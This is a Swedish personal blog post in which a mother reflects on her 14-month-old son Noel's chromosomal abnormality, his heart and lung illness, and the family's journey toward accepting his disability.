Det är en otrolig glädje att få ett sådant här besked, att det nog inte är medfött! Det är en stor lättnad, även om man inte kan garantera något till 100%. Det har tagit ett tag att landa i det, dels för att det också innebär att Noel fortfarande är sjuk pga att han varit så fruktansvärt dålig förut. Man blir glad men samtidigt bitter över att han borde fått operera hjärtat tidigare och inte lidit av kronisk hjärtsvikt i 6 månader. Han var nära att dö många gånger, och det gör ont i hjärtat att tänka på att det i sin tur skadat hans lungor så ofantligt mycket. Man kan vara ledsen och bitter över mycket, men visst är det ett glädjande besked. Samtidigt har beskedet fått mig att reflektera mycket av det som varit, och det är många känslor som blandats i kroppen. Jag bär en enorm tacksamhet över att ha Noel hos oss, en lättnad över att han ändå är så pass pigg och frisk idag mot hur det har varit. Samtidigt kan jag titta tillbaka på det året av oro, rädsla, sorg och ovisshet med tårar i ögonen. Jag tänker ofta på tiden innan Noel fick sin port, alla stick han fick utså, ibland 10-12 försök innan nålen satt, kärl som sprack, stressad narkospersonal som skulle försöka, hålla fast, massa tårar och skrik. Det har varit jobbiga tider, och ibland blir man påmind mer om hur det faktiskt varit!

Oavsett vad så måste vi blicka framåt, det är mycket fantastiskt som kommer ske detta år, och vi hoppas på att Noels lungor kan bli friskare och han växer och blir starkare detta år!

 

Att acceptera

Det har tagit lång tid, processen med att acceptera, processen är på ett sätt livslång, men det känns som vi tagit oss över den ”värsta” tröskeln. Det knyter sig fortfarande lite i magen varje gång jag ser förlossningsskylten och tänker på våra timmar upp på förlossningen. Det knyter sig i magen varje gång jag ser Solnaskylten och varje gång jag kliver in på ALB och känner igen doften, tankarna, känslorna, oron, ångesten, rädslan och den oändliga sorgen. Visst knyter det sig i magen, men det känns också ganska avlägset. Idag är Noel 14 månader, en liten kille med så fruktansvärt stor livsglädje. Han kan inte allt som en ettåring ska kunna, inte krypa, inte gå, inte säga mamma eller pappa. Men vet ni, han kommunicerar på sitt sätt, visar och pekar vad han vill, gråter och visar ilska, rädsla, glädje och sorg, på sitt sätt, och vi förstår honom. Han kan rulla runt, sitta med stöd, sitta en stund utan stöd, hålla sitt huvud själv, ta sig fram i gåstolen, han kan leka med leksaker på så många olika sätt, flytta kulor från ett håll till ett annat, snurra på saker, flytta från en hand till en annan. Han kan så mycket, och han skrattar så mycket. Vi har kommit en lång bit på vägen från den där gråa, regniga dagen för 14 månader sedan. Vi har accepterat.

Vi har accepterat att Noel har en kromosomavvikelse, med allt vad det innebär, sen utveckling, kroniska sjukdomar, lätt utvecklingsstörning, habilitering, sorg, uppoffrande, träning, hjälpmedel etc. Vi har accepterat allt detta, därför att glädjen, alla leenden, all kärlek, all närhet, det är det som övervinner allt. Noel är en individ med egen vilja, han visar vad han vill och han älskar livet. Vi kan inget annat än att älska livet tillsammans med honom. Jag skulle aldrig byta Noel mot ett annat friskt barn utan handikapp. Noel ger oss mer än vad vi någonsin kunnat drömma om. Sådant som ett friskt barn kanske inte hade gjort, han ger något annat, på ett annat sätt, och för det är jag evigt tacksam!

Jag har accepterat, för att jag vet att Noel valde mig och Ted som föräldrar av en anledning. Han ville komma till oss, han ville leva hos oss, vara en del av vår familj. Han visste att vi skulle acceptera, att vi skulle kämpa tillsammans. Han visste, att vi var rätt för varandra. Han visste att vi inte skulle ge upp, att vi skulle älska honom precis som han är. Vi har aldrig gjort skillnad, vi kommer aldrig göra skillnad på Noel och på hans framtida syskon. Vi kommer älska alla lika mycket.

Vi har accepterat att livet ville annorlunda än vad vi från början tänkt. Men det är helt okej, det känns okej ändå. Av det vi kände att vi förlorat och gått miste om har vi fått tillbaka på andra sätt. Ett litet leende eller skratt från Noel gör att allt känns mycket lättare. Så länge han kan skratta åt livet så är det värt allt jobbigt som följer med. Det är värt att kämpa, värt att bråka, värt att slåss.

Vi har accepterat och kommit långt på vägen. Det har inte varit lätt, och det kommer inte bli lättare med åren. Men det går, för vi gör det tillsammans. Att acceptera betyder inte heller att man aldrig är ledsen, eller aldrig mer kommer känna att det är jobbigt. För det ÄR jobbigt, och man ÄR ledsen. Vissa dagar är jobbigare än andra, och vissa lättare än andra. Och även om jag inte jämför Noel med andra barn, så vet jag att andra kommer jämföra Noel, det kommer alltid finnas någon som påpekar något, någon som sätter en liten dolk i hjärtat och kommenterar något kring Noel. Jag kommer alltid vara känslig för vissa saker och tycka viss saker är jobbigt, men skillnaden idag jämfört med ett år sedan är att jag accepterat Noel, precis som han är. Jag har accepterat att livet med Noel är annorlunda mot livet med ett friskt barn, jag har accepterat, och jag har lärt mig att bara för att livet är annorlunda innebär det inte att livet är sämre!